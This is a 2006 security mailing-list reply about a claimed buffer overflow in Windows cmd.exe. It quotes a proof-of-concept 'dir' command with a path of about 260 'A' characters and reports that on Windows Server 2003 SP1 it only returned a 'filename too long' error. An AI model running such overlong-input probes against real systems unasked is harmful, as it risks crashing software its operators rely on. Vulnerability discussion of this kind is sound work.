Re: Windows Command Processor CMD.EXE Buffer Overflow

"The SNiFF" <[email protected]> Fri, 20 Oct 2006 10:58:18 +0200
Newsgroups gmane.comp.security.vulnerabilities
Message-ID <[email protected]>
> Copy-paste the following line in cmd.exe and execute it..
> (it is a single command, has been split into multiple lines for
> readability sake).
>
> %COMSPEC% /K "dir
> \\?\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
>
> (260 characters of 'A's)

Tried it on Win2k3 SP1:
C:\Documents and Settings\Administrator>%COMSPEC% /K 
"dir\\?\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
System replied:
The filename or extension is too long.